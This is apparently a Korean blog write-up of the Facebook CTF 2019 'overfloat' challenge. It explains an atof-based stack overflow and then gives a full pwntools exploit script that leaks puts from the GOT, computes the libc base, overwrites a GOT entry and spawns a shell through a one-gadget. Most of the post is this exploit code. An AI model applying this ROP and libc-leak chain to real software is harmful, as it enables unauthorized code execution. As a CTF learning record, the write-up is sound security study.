
atof 함수에서 소수로 받아 4바이트씩 변수에 집어넣는데 원하는 만큼 집어넣는게 가능해서 오버플로우가 가능하다.

단 소수로 원하는 페이로드를 만들려면 IEEE floating point 변환을 해줘야 한다.
파이썬 코드로 짜는게 가능하지만 일단 빨리 풀기 위해 requests모듈로 웹사이트 기능을 크롤링해서 소수변환을 했다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 | from pwn import * import time import json import requests def get_float(want): response = requests.get(url) data = json.loads(response.text) return str (data[ 'decimalRepr' ]) #p = process('./overfloat') p = remote( 'challenges.fbctf.com' , 1341 ) elf = ELF( './overfloat' ) libc = ELF( './libc-2.27.so' ) p.recv() #nop = "-5.702072E-29" nop = get_float( "0x90909090" ) pop_rdi = get_float( "0x400a83" ) pop_rsi_r15 = get_float( "0x400a81" ) puts_plt = get_float( hex (elf.plt[ 'puts' ])) puts_got = get_float( hex (elf.got[ 'puts' ])) main = get_float( "0x400993" ) i = 0 while ( True ): if i > = 14 : break i + = 1 p.sendline(nop) p.recv() p.sendline(pop_rdi) p.recv() p.sendline( "0.0" ) p.recv() p.sendline(puts_got) p.recv() p.sendline( "0.0" ) p.sendline(puts_plt) p.recv() p.sendline( "0.0" ) p.recv() #pause() p.sendline(main) hexdump(p.recv()) p.sendline( "0.0" ) hexdump(p.recv()) p.sendline( "done" ) #pause() hexdump(p.recvuntil( "\x0a" )) libc_puts = u64(p.recv( 6 ).ljust( 8 , "\x00" )) log.info( "libc_puts = {}" . format ( hex (libc_puts))) libc_base = libc_puts - libc.symbols[ 'puts' ] log.info( "libc_base = {}" . format ( hex (libc_base))) libc_gets = libc_base + libc.symbols[ 'gets' ] log.info( "libc_gets = {}" . format ( hex (libc_gets))) oneshot = libc_base + 0x4f322 log.info( "oneshot = {}" . format ( hex (oneshot))) #pause() i = 0 while ( True ): if i > = 14 : break i + = 1 p.sendline(nop) p.recv() p.sendline(pop_rdi) p.recv() p.sendline( "0.0" ) p.recv() p.sendline(puts_got) p.recv() p.sendline( "0.0" ) p.recv() p.sendline(get_float( '0x' + hex (libc_gets)[ - 8 :])) p.recv() length = len ( hex (libc_gets)) - len ( hex (libc_gets)[ - 8 :]) p.sendline(get_float( hex (libc_gets)[: 4 + 2 ])) p.recv() p.sendline(puts_plt) p.recv() p.sendline( "0.0" ) p.recv() p.sendline( "done" ) hexdump(p.recv()) #pause() p.sendline(p64(oneshot)) p.interactive() |

'CTF' 카테고리의 다른 글
facebook CTF 2019 products-manager (0) | 2019.06.04 |
---|---|
defcon2019 speedrun (0) | 2019.05.28 |
hackzone 2019 pwn2 (Syscall) (0) | 2019.05.09 |
hackzone 2019 pwn1 (0) | 2019.05.07 |
BTH_CTF 2019 (0) | 2019.05.01 |